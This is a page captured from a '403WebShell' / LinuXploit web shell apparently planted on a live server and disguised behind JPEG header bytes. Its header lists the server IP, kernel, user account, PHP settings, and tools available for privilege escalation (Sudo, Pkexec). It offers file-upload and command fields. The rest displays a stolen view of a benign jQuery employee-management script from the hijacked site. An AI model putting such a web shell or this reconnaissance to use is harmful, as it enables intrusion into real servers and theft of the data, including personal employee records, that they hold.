����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.222
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/employed/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/employed/j_item.js
$(document).ready( function () 
{
	init_data();
	
	init_dataBaja();
	
	//enter brincar
	nexEnterFuncion();
	
	//reigreso txtnameEmplR
	 $("#txtnameEmplR").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtdateReing");
		}
      });
	   $("#txtdateReing").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#btnUpdateEmp");
		}
      });
	
	  
	//ENTER EN MODAL DAR DE BAJA
	 //txtnameB  
	 $("#txtnameB").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtdateBaja");
		}
      });
	  
	  //txtdateBaja
	  
	   $("#txtdateBaja").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtreason");
		}
      });
	  
	  //txtreason
	  
	  $("#txtreason").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#btncheckpass");
		}
      });
	
	
	
});

//insertar un valor de select a un input departamento
$(document).on('change','#cbo_puesto',function(){ //detectamos el evento change
    	var value = $(this).val();//sacamos el valor del select
      $('#puesto_actual').html(value);//le agregamos el valor al input (notese que el input debe tener un ID para que le caiga el valor)
    });

//insertar un valor de select a un input puesto
$(document).on('change','#id_ruta2',function(){ //detectamos el evento change
    	var value = $(this).val();//sacamos el valor del select
      $('#actual_ruta').html(value);//le agregamos el valor al input (notese que el input debe tener un ID para que le caiga el valor)
    });

//autocompletado empleado dar de alta	
$( "#txtname" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("c_search_category.php", { term: $('#txtname').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
				
				if (ui.item.estado == true ){
											
					$.notify({
						message: "Desea actualizar el empleado para reingreso"
					},{
						type: 'info',
						delay: 3000,
					});
											
					$("#updatemodal").modal("show");
											
					//sabemos que el empleado esta ya en la lista
					//Reingreso();
					console.log("intentamos reingreso de empleado desde autocompletado");
					
					
				}else{
					$.notify({
						message: "Editar empleado"
					},{
						type: 'success',
						delay: 2000,
					});
					
				}
				
				
					$("#Entradadmodal").modal("show");
					$("#txtname").val("");
					$("#txtname").val(ui.item.nombre);
					$("#txtphone").val(ui.item.telefono);
					$("#txtcontrato").val(ui.item.contract);
					$("#txthidetrxid").val(ui.item.id);
					$("#txtcountry").val(ui.item.poblacion);
					$("#txtsueldo").val(ui.item.Sueldo);
					$("#txtdateEmpl").val(ui.item.dateUp);
					//asignamos id y nombre de puesto
					$("#puesto_actual").html(ui.item.puesto);
					$("#nombre_puesto").val(ui.item.nombre_puesto);
					//asignamos id y nombre de ruta
					$("#actual_ruta").html(ui.item.id_ruta);
					$("#nombre_ruta").val(ui.item.nombre_ruta);
					
					//dar de alta reingreso
					
					$("#txtnameEmplR").val("");
					$("#txtnameEmplR").val(ui.item.nombre);
					
					
					
					
					

			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.name + "</dt>"+item.country+ "</dl>"  )
		.appendTo( ul );
	};

//autocompletado empleado dar de baja
$( "#txtnameB" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("c_search_category.php", { term: $('#txtnameB').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
				
											
					$.notify({
						message: "se procede a dar de Baja el empleado"
					},{
						type: 'info',
						delay: 3000,
					});
											
					console.log("intentamos baja de empleado desde autocompletado");
					
					$("#txtnameB").val("");
					$("#txtnameB").val(ui.item.nombre);		
					
			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.name + "</dt>"+item.country+ "</dl>"  )
		.appendTo( ul );
	};


//autocompletado en empleado reingreso	
$( "#txtnameEmplR" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("c_search_categoryE.php", { term: $('#txtnameEmplR').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
					
					$("#txtnameEmplR").val("");
					$("#txtnameEmplR").val(ui.item.nombre);
					

			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.name + "</dt>"+item.country+ "</dl>"  )
		.appendTo( ul );
	};	


//iniciar datos de tabla empleados
function init_data(){
	
	var value = {
		method : "getdataE"
	};
	$('#table_category').DataTable({
		"language": {
					 "decimal": "",
					"emptyTable": "No hay información",
					"info": "Mostrando _START_ a _END_ de _TOTAL_ Entradas",
					"infoEmpty": "Mostrando 0 to 0 of 0 Entradas",
					"infoFiltered": "(Filtrado de _MAX_ total entradas)",
					"infoPostFix": "",
					"thousands": ",",
					"lengthMenu": "Mostrar _MENU_ Entradas",
					"loadingRecords": "Cargando...",
					"processing": "Procesando...",
					"search": "Buscar:",
					"zeroRecords": "Sin resultados encontrados",
					"paginate": {
						"first": "Primero",
						"last": "Ultimo",
						"next": "Siguiente",
						"previous": "Anterior"
					}	
				},
		"paging": true,
		"lengthChange": false,
		"searching": true,
		"ordering": true,
		"info": false,
		"responsive": true,
		"autoWidth": false,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"ajax": {
			"url": "c_item.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "id" },
		{ "data": "name" },
		{ "data": "contract" },
		{ "data": "ruta_actual" },
		{ "data": "poblacion" },
		{ "data": "phone" },
		{ "data": "id_puesto" },
		{ "data": "dateUp" },
		{ "data": "dateBaja" },
		{ "data": "dateReUp" },
		{ "data": "status" },
		
		]
	});
	$("#table_category_filter").addClass("pull-right");
	
}

//iniciar datos de tabla empleados
function init_dataBaja(){
	
	var value = {
		method : "getdataBaja"
	};
	$('#table_categoryBaja').DataTable({
		"language": {
					 "decimal": "",
					"emptyTable": "No hay información",
					"info": "Mostrando _START_ a _END_ de _TOTAL_ Entradas",
					"infoEmpty": "Mostrando 0 to 0 of 0 Entradas",
					"infoFiltered": "(Filtrado de _MAX_ total entradas)",
					"infoPostFix": "",
					"thousands": ",",
					"lengthMenu": "Mostrar _MENU_ Entradas",
					"loadingRecords": "Cargando...",
					"processing": "Procesando...",
					"search": "Buscar:",
					"zeroRecords": "Sin resultados encontrados",
					"paginate": {
						"first": "Primero",
						"last": "Ultimo",
						"next": "Siguiente",
						"previous": "Anterior"
					}	
				},
		"paging": true,
		"lengthChange": false,
		"searching": true,
		"ordering": true,
		"info": false,
		"responsive": true,
		"autoWidth": false,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"ajax": {
			"url": "c_item.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "id" },
		{ "data": "contract" },
		{ "data": "name" },
		{ "data": "ruta_actual" },
		{ "data": "reason" },
		{ "data": "status" },
		{ "data": "created_at" },
		{ "data": "button" },
		]
	});
	$("#table_categoryBaja_filter").addClass("pull-right");
	
}

//abrir modal para guardar registro
$(document).on( "click","#in_button", function() {
	
	set_focus("#txtname");	
	document.getElementById("txtname").focus();
	document.getElementById('btnsavecategory').style.visibility = "hidden"; // show
	$("#inputcrud2").val('N');
	$("#Entradadmodal").modal('show');
	$("#myModalLabel").html("Alta de Empleado");
	
	//limpiamos los input
	$("#txtname2").val("");
			$("#id_txtname2").val("");
			$("#txtcontrato").val("");
			$("#txtname").val("");
			$("#txtsueldo").val("");
			$("#opcion_puesto").html("");
			$("#actual_puesto").html("");
			$("#txtcountry").val("");
			$("#actual_ruta").html("");
			$("#opcion_ruta").val("");
			$("#txtphone").val("");
	
	
	//deshabilitar input contrato, etc
	document.getElementById('txtcontrato').disabled = false;
	document.getElementById('txtname').disabled = false;
	document.getElementById('txtcountry').disabled = false;
	document.getElementById('txtphone').disabled = false;
	document.getElementById('btnGuardarEmp').disabled = false;
	
	document.getElementById('btnsavecategory').style.visibility = "hidden"; // show
	document.getElementById('btnGuardarEmp').style.visibility = "visible"; // show
	document.getElementById('btnBajaEmp').style.visibility = "visible"; // show
	document.getElementById('btnEditEmp').style.visibility = "visible"; // show
	

});

//CerrarModal

//abrir modal para guardar registro
$(document).on( "click","#CerrarModal", function() {
	$("#puesto_actual").html('');
	$("#nombre_puesto").val();
	$("#actual_ruta").html('');
	$("#nombre_ruta").val();
	//deshabilitar input contrato, etc
	document.getElementById('btnsavecategory').style.visibility = "hidden"; // show
	document.getElementById('btnGuardarEmp').style.visibility = "visible"; // show
	document.getElementById('btnBajaEmp').style.visibility = "visible"; // show
	document.getElementById('btnEditEmp').style.visibility = "visible"; // show

});



$(document).on( "click","#btnEditcategory", function() {
	$("#inputcrud2").val('E');
	var crud=$("#inputcrud2").val();
	$("#btnsavecategory").click();
});


//borrar registro
$(document).on( "click","#btnDelcategory", function() {
	$("#inputcrud2").val('D');
	var crud=$("#inputcrud2").val();
	$("#btnsavecategory").click();
});	

//editar registro
$(document).on( "click","#btnEditEmp", function() {
	$("#inputcrud2").val('E');
	$("#myModalLabel").html("Editar Empleado");
	
	set_focus("#txtname");
	$("#txtname").focus();
	document.getElementById('btnsavecategory').style.visibility = "visible"; // show
	document.getElementById('btnGuardarEmp').style.visibility = "hidden"; // show
	document.getElementById('btnBajaEmp').style.visibility = "hidden"; // show
	document.getElementById('btnEditEmp').style.visibility = "hidden"; // show
	document.getElementById('btnsavecategory').html("Actualizar");
});	

//guardar registro
$(document).on( "click","#btnGuardarEmp", function() {
	$("#inputcrud2").val('N');
	$("#myModalLabel").html("Guardar Empleado");
	set_focus("#txtname");
	$("#txtname").focus();
	$("#btnsavecategory").click();
	
});	
	

//DAR DE BAJA A empleado
$(document).on( "click","#btnBajaEmp", function() {
	$("#inputcrud2").val('B');
	set_focus("#txtnameB");
	$("#txtnameB").focus();
			$("#Entradadmodal").modal("hide");
		$("#passwordmodal").modal("show");
		$("#myModalLabel").html("Dar de Baja de Empleado");
		$("#notepassword").html("Por Favor Ingrese contraseña para continuar y dar de baja!");
		set_focus("#txtpass");
			$("#txtpass").focus();
	document.getElementById('btnsavecategory').disabled = true;
	document.getElementById('txtcontrato').disabled = true;
	document.getElementById('txtname').disabled = true;
	document.getElementById('txtcountry').disabled = true;
	document.getElementById('txtsueldo').disabled = true;
	
	
});	
	
//guardar registro de empleados
$(document).on( "click","#btnsavecategory", function() {
	
		var id_txtname2= $("#id_txtname2").val();
		var contract =	$("#txtcontrato").val();
		var name = $("#txtname").val();
		var dateAlta = $("#txtdateEmpl").val();
		var puesto = $("#puesto_actual").html();
		var	poblacion = $("#txtcountry").val();
		var	ruta = $("#actual_ruta").html();
		var	telefono =$("#txtphone").val();
		var crud=$("#inputcrud2").val();
		var cat = $("#txthidetrxid").val();
		
	if(crud == 'N'){	
			if(puesto == '' || puesto == null ){
						$.notify({
							message: "Error Falta registro de Puesto"
						},{
							type: 'warning',
							delay: 3000,
						});		
						
						return;
					}
					
			if(ruta == '' || ruta == null ){
						$.notify({
							message: "Error Falta registro de departamento"
						},{
							type: 'warning',
							delay: 3000,
						});		
						
						return;
			}
			if(name == '' || name == null ){
			$.notify({
				message: "por favor ingrese nombre"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtname").focus();
			return;
		}
		if(poblacion == '' || poblacion == null ){
			$.notify({
				message: "por favor ingrese poblacion"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtcountry").focus();
			return;
		}
		if(telefono == '' || telefono == null ){
			$.notify({
				message: "por favor ingrese telefono"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtphone").focus();
			return;
		}
		if(contract == '' || contract == null ){
			$.notify({
				message: "por favor ingrese contrato"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtcontrato").focus();
			return;
		}
	}		
			
	if(crud == 'B'){
		var reason = $("#txtreason").val();
		var txtdateBaja = $("#txtdateBaja").val();
		if(txtdateBaja == '' || txtdateBaja == null ){
				$.notify({
					message: "Error no se encuentra Fecha a editar reintente"
				},{
					type: 'warning',
					delay: 8000,
				});		
				
				return;
			}
		if(reason == '' || reason == null ){
				$.notify({
					message: "Error no se encuentra Motivo a editar reintente"
				},{
					type: 'warning',
					delay: 8000,
				});		
				
				return;
			}	
			
	}else{
		reason="";
	}
	
	
	if(crud == 'E'){
		if(cat == '' || cat == null ){
				$.notify({
					message: "Error no se encuentra registro a editar reintente"
				},{
					type: 'warning',
					delay: 8000,
				});		
				
				return;
			}
	}
	if(crud == 'D'){
		$.notify({
				message: "Se eliminara"
			},{
				type: 'danger',
				delay: 2000,
			});	
	}
	//INICIA PREGUNTA
	swal({
			title: "Desea Guardar el Registro",
			text: " Guardar Registro Empleado ?",
			type: "warning",
			showCancelButton: true,
			confirmButtonClass: "btn-primary",
			confirmButtonText: "Guardar",
			closeOnConfirm: true,
			showLoaderOnConfirm: true
			},
			function(){
			  console.log("Guardar");
			  
			  	var value = {
						name: name,
						id_txtname2: id_txtname2,
						contract:contract,
						name: name,
						dateA:dateAlta,
						puesto:puesto,
						poblacion:poblacion,
						ruta:ruta,
						telefono:telefono,
						crud:crud,
						cat:cat,
						txtdateBaja:txtdateBaja,
						reason:reason,
						method : "save_employee"
					};
					$(this).prop('disabled', true);
					proccess_waiting("#infoproses2");
					$.ajax(
					{
						url : "c_item.php",
						type: "POST",
						data : value,
						success: function(data, textStatus, jqXHR)
						{
							$("#btnsavecategory").prop('disabled', false);
							$("#infoproses2").html("");
							var data = jQuery.parseJSON(data);
							
							
							if(data.ceksat == 0){
								
								$.notify(data.error);
								
							}else{
								
								if(data.crud == 'N'){
									if(data.result == true){
										$.notify('Registro Guardado!');
										var table = $('#table_category').DataTable(); 
										table.ajax.reload( null, false );
										$("#Entradadmodal").modal('hide');	
										
										$("#id_txtname2").val("");
										$("#txtcontrato").val("");
										$("#txtname").val("");
										$("#txtdateEmpl").val("");
										$("#puesto_actual").html("");
										$("#txtcountry").val("");
										$("#actual_ruta").html("");
										$("#txtphone").val("");
										// $("#inputcrud2").val();
										// $("#txthidetrxid").val();
										
											
									}else{
										
										if (data.estado == true ){
											
											$.notify({
												message: "Desea actualizar el empleado para reingreso"
											},{
												type: 'info',
												delay: 5000,
											});
											
											$("#updatemodal").modal("show");
											
											//sabemos que el empleado esta ya en la lista
											//Reingreso();
											console.log("intentamos reingreso de empleado");
											
										}else{
											$.notify({
												message: "Error al Guardar Registro # :" + data.error
											},{
												type: 'danger',
												delay: 10000,
											});
											set_focus("#txtname");
										}
									
								}		
										
								}else{
									
									if(crud == 'E'){
										if(data.result == true){
											$.notify('Registro Actualizado!');
											var table = $('#table_category').DataTable(); 
											table.ajax.reload( null, false );
											$("#Entradadmodal").modal('hide');
											
										
											
										}else{
											$.notify({
												message: "Error al Actualizar  empleado # :" + data.error
											},{
												type: 'danger',
												delay: 5000,
											});
											set_focus("#txtiditem");
										}
									}
									
										
									
									
								}
								
								if(crud == 'D'){
											if(data.result == true){
													$.notify('Registro Eliminado!');
													cat.remove(cat.selectedIndex);
												}else{
													$.notify({
														message: "Error al Actualizar  # :" + data.result
													},{
														type: 'danger',
														delay: 5000,
													});
													set_focus("#txtname");
												}
											}
								if(crud == 'B'){
											
											if(data.result == true & data.result2 == true){
													$.notify('Registro Empleado dado de Baja, Correcto!');
													var table = $('#table_category').DataTable(); 
													table.ajax.reload( null, false );
													
													$("#Entradadmodal").modal('hide');
													document.getElementById('btnsavecategory').disabled = false;
													$("#txtnameB").val("");
													$("#txtdateBaja").val("");
													$("#txtreason").val("");
													$("#password").val("");
												}else{
													$.notify({
														message: "Error al dar de baja  1#: " + data.error + "#2: " + data.error2
													},{
														type: 'danger',
														delay: 5000,
													});
													set_focus("#txtname");
												}
											}			
											
								if(crud == ''){
													$.notify({
													message: "Registro Invalido!"
												},{
													type: 'warning',
													delay: 5000,
												});
								}	
								
								document.getElementById('btnsavecategory').style.visibility = "hidden"; // show
								document.getElementById('btnsavecategory').style.visibility = "visible"; // show
								document.getElementById('btnBajaEmp').style.visibility = "visible"; // show
								document.getElementById('btnEditEmp').style.visibility = "visible"; // show	
								document.getElementById('txtdateEmpl').innerHtml = "";
								
							}
						},
						error: function(jqXHR, textStatus, errorThrown)
						{
							$.notify({
									message: "Error, # : "+ data.error
									},{
									type: 'eror',
									delay: 8000,
								});	
							$("#btnsavecategory").prop('disabled', false);
						}
					});
					///////termina ajax

			});// TERMINA FUNCION DE PREGUNTA
	
});

//guardar registro de empleados
$(document).on( "click","#btnUpdateEmp", function() {
	Reingreso();
});
	

//FUNCION DE REINGRESO EMPLEADO
function Reingreso() {
	
	$("#Entradadmodal").modal('hide');
	
		var id_txtname2= $("#id_txtname2").val();
		var contract =	$("#txtcontrato").val();
		var name = $("#txtname").val();
		var dateAlta = $("#txtdateEmpl").val();
		var puesto = $("#puesto_actual").html();
		var	poblacion = $("#txtcountry").val();
		var	ruta = $("#actual_ruta").html();
		var	telefono =$("#txtphone").val();
		var crud=$("#inputcrud2").val();
		var cat = $("#txthidetrxid").val();
		var txtdateReing = $("#txtdateReing").val();
	
	var value = {
						name: name,
						id_txtname2: id_txtname2,
						contract:contract,
						name: name,
						dateA:dateAlta,
						puesto:puesto,
						poblacion:poblacion,
						ruta:ruta,
						telefono:telefono,
						crud:crud,
						cat:cat,
						txtdateReing: txtdateReing,
						method : "save_Reingreso"
					};
					$(this).prop('disabled', true);
					proccess_waiting("#infoproses2");
					$.ajax(
					{
						url : "c_item.php",
						type: "POST",
						data : value,
						success: function(data, textStatus, jqXHR)
						{
						
							$("#infoproses2").html("");
							var data = jQuery.parseJSON(data);
							
						$("#updatemodal").modal('hide');
						
						console.log("reingreso correcto");
							
							$.notify({
									message: "Listo se actualizo empleado"
									},{
									type: 'info',
									delay: 3000,
								});
								
								document.getElementById('btnsavecategory').style.visibility = "hidden"; // show
								document.getElementById('btnsavecategory').style.visibility = "visible"; // show
								document.getElementById('btnBajaEmp').style.visibility = "visible"; // show
								document.getElementById('btnEditEmp').style.visibility = "visible"; // show	
								document.getElementById('txtdateEmpl').innerHtml = "";
								
							
						},
						error: function(jqXHR, textStatus, errorThrown)
						{
							$.notify({
									message: "Error, # : "+ data.error
									},{
									type: 'eror',
									delay: 8000,
								});	
						}
					}); //termina ajax	
				
 
}

//editar registro de empleado
$(document).on( "click",".closeModalEntrada", function() {
		$("#Entradadmodal").modal("hide");
		document.getElementById('btnsavecategory').disabled = false;
});


//eliminar permmanentemente el empleado
	$(document).on("click",'#btncheckpass',function(){
		
		//dar de baja empleado sin eliminar	
		var crud = $("#inputcrud2").val();
		var fechab = $("#txtdateBaja").val(); 
		var txtreason = $("#txtreason").val();
		
		var value = {
			crud:crud,
			fechab:fechab,
			txtreason: txtreason,
			method : "check_password"
		};
		$.ajax(
		{
			url : "../model/check_password.php",
			type: "POST",
			data : value,
			success: function(data, textStatus, jqXHR)
			{
				var data = jQuery.parseJSON(data);
				if(data.auth == true)
				{
					
					//precionamos el boton guardar para dar de baja empleado
					$("#txtpass").val("");
					var id_item =   $("#txthidetrxid").val();
					var contrato =   $("#txtcontrato").val();
					
					document.getElementById('btnsavecategory').disabled = false;
					$("#btnsavecategory").click();
				}else{
					$("#Entradadmodal").modal("hide");
					$("#passwordmodal").modal("hide");
					$.notify({
						message: "La contraseña no coincide/Usuario No Autorizado, #: " + data.text1 
					},{
						type: 'danger',
						delay: 5000,
					});
					set_focus("#txtpass");
					return;
				}
			},
			error: function(jqXHR, textStatus, errorThrown)
			{
				$.notify({
						message: "Error general para eliminar/baja de registro, #: " + textStatus.responseText 
					},{
						type: 'danger',
						delay: 5000,
					});
				
			}
		});
	});
	


//editar registro de empleado
$(document).on( "click",".btnedit", function() {
	$("#inputcrud2").val('E');
	$("#txthidetrxid").val($(this).attr("id_item"));
	$("#txtcontrato").val($(this).attr("contract"));

	document.getElementById('btnsavecategory').disabled = false;
	
	var id_item = $(this).attr("id_item");
	var value = {
		id_item: id_item,
		method : "get_detail_item"
	};
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var hasil = jQuery.parseJSON(data);
			data = hasil.data;
			$("#txtname2").val(data.name);
			$("#id_txtname2").val(data.id_cust);
			$("#txtcontrato").val(data.contract);
			$("#txtname").val(data.name);
			$("#txtsueldo").val(data.Sueldo);
			$("#opcion_puesto").html(data.departamento_actual)
			$("#actual_puesto").html(data.id_puesto);
			$("#txtcountry").val(data.poblacion);
			$("#actual_ruta").html(data.id_ruta);
			$("#opcion_ruta").val(data.ruta_actual);
			$("#txtphone").val(data.phone);
			
			$("#myModalLabel").html("Editar Empleado");
			$("#Entradadmodal").modal('show');
			$("#btnsavecategory").html("Actualizar");
			set_focus("#txtname");
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
						message: "Error general para editar  registro, #: " + textStatus.responseText 
					},{
						type: 'danger',
						delay: 5000,
					});
		}
	});
});


//editar registro de empleado
$(document).on( "click",".btndelete", function() {
	$("#inputcrud2").val('B');
	$("#txthidetrxid").val($(this).attr("id_item"));
	$("#txtcontrato").val($(this).attr("contract"));
	
		$("#passwordmodal").modal("show");
		$("#txthidetrxid").val($(this).attr("id_item"));
		$("#myModalLabel").html("Dar de Baja de Empleado");
		$("#notepassword").html("Por Favor Ingrese contraseña para continuar y dar de baja!");
		set_focus("#txtpass");	
		

	document.getElementById('btnsavecategory').disabled = true;
	
	document.getElementById('txtcontrato').disabled = true;
	document.getElementById('txtname').disabled = true;
	document.getElementById('txtcountry').disabled = true;
	document.getElementById('txtsueldo').disabled = true;
	
	
	var id_item = $(this).attr("id_item");
	var value = {
		id_item: id_item,
		method : "get_detail_item"
	};
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var hasil = jQuery.parseJSON(data);
			data = hasil.data;
			$("#txtname2").val(data.name);
			$("#id_txtname2").val(data.id_cust);
			$("#txtcontrato").val(data.contract);
			$("#txtname").val(data.name);
			$("#txtsueldo").val(data.Sueldo);
			$("#opcion_puesto").html(data.departamento_actual)
			$("#actual_puesto").html(data.id_puesto);
			$("#txtcountry").val(data.poblacion);
			$("#actual_ruta").html(data.id_ruta);
			$("#opcion_ruta").val(data.ruta_actual);
			$("#txtphone").val(data.phone);
			
			$("#myModalLabel").html("dar de baja empleado Empleado");
			$("#Entradadmodal").modal('show');
			$("#btnsavecategory").html("Confirmar Baja");
			set_focus("#txtname");
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
						message: "Error general para editar  registro, #: " + textStatus.responseText 
					},{
						type: 'danger',
						delay: 5000,
					});
		}
	});
});



function nextFocus(inputF, inputS) {
  document.getElementById(inputF).addEventListener('keydown', function(event) {
    if (event.keyCode == 13) {
      document.getElementById(inputS).focus();
    }
  });
}

//enter para brincar input
function nexEnterFuncion(){
	
	 $("#txtname").keydown(function(e) {
        if(e.which == 13) {
			set_focus("#txtdateEmpl");		
		}
      });
	
	 $("#txtdateEmpl").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtcontrato");
		}
      });
	  
	   $("#txtcontrato").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#cbo_puesto");
		}
      });
	  
	   $("#cbo_puesto").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#id_ruta2");
		}
      });
	  
	   $("#id_ruta2").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtcountry");
		}
      });
	  
	   $("#txtcountry").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#txtphone");
		}
      });
	  
	   $("#txtphone").keydown(function(e) {
        if(e.which == 13) {
		  
				set_focus("#btnGuardarEmp");
		}
      });
	  
	 
	  
}

//FUNCION ELIMINAR REGISTRO PERMANENTE

function swalEliminarREgistro(id_item,contrato){
						
							swal({   
						title: "Borrar Registro de empleado permanentemente, no hay vuelta atras",   
						text: "Eliminar  con no : " + id_item + "-Contrato:" + contrato + " ?", 
						type: "warning",   
						showCancelButton: true,   
						confirmButtonColor: "#DD6B55",   
						confirmButtonText: "Borrar",   
						closeOnConfirm: true }, 
						function(){   
							var value = {
								id_item: id_item,
								method : "delete_item"
							};
							$.ajax(
							{
								url : "c_item.php",
								type: "POST",
								data : value,
								success: function(data, textStatus, jqXHR)
								{
									var data = jQuery.parseJSON(data);
									if(data.result ==1){
										$.notify('Registro Borrado');
										var table = $('#table_category').DataTable(); 
										table.ajax.reload( null, false );
										
									}else{
										$.notify({
											message: " No se Puede Eliminar, # "+ data.error
										},{
											type: 'warning',
											delay: 8000,
										});	
									}
								},
								error: function(jqXHR, textStatus, errorThrown)
								{
									
									$.notify({
											message: "Error al borrar Registro, # : "+ data.error
										},{
											type: 'danger',
											delay: 8000,
										});	
									
								}
							});
						});
	
}


//funcion dar de baja registro de empleados
function swalDarBajaEmpleado(id_item,contrato){
						var id_txtname2= $("#id_txtname2").val();
						var contract =	$("#txtcontrato").val();
						var name = $("#txtname").val();
						var sueldo = $("#txtsueldo").val();
						var puesto = $("#cbo_puesto").val();
						var	poblacion = $("#txtcountry").val();
						var	ruta = $("#id_ruta2").val();
						var	telefono =$("#txtphone").val();
						
						swal({   
						title: "Dar de baja Registro de empleado",   
						text: "Baja empleado: : " + name + " ?", 
						type: "warning",   
						showCancelButton: true,   
						confirmButtonColor: "#DD6B55",   
						confirmButtonText: "Confirmar Baja",   
						closeOnConfirm: true }, 
						function(){   
							var value = {
									name: name,
									id_txtname2: id_txtname2,
									contract:contract,
									name: name,
									sueldo:sueldo,
									puesto:puesto,
									poblacion:poblacion,
									ruta:ruta,
									telefono:telefono,
								id_item: id_item,
								method : "updateBajaEmploye"
							};
							$.ajax(
							{
								url : "c_item.php",
								type: "POST",
								data : value,
								success: function(data, textStatus, jqXHR)
								{
									var data = jQuery.parseJSON(data);
									if(data.result ==1){
										$.notify('Registro de empleado dado de baja');
										var table = $('#table_category').DataTable(); 
										table.ajax.reload( null, false );
										$("#Entradadmodal").modal('hide');
										
										
									}else{
										$.notify({
											message: " mensaje de Baja, #" + data.error 
										},{
											type: 'warning',
											delay: 8000,
										});	
									}
								},
								error: function(jqXHR, textStatus, errorThrown)
								{
									
									$.notify({
											message: "Error al dar de baja Registro, # : "+ data.error
										},{
											type: 'danger',
											delay: 8000,
										});	
									
								}
							});
						});
}


Youez - 2016 - github.com/yon3zu
LinuXploit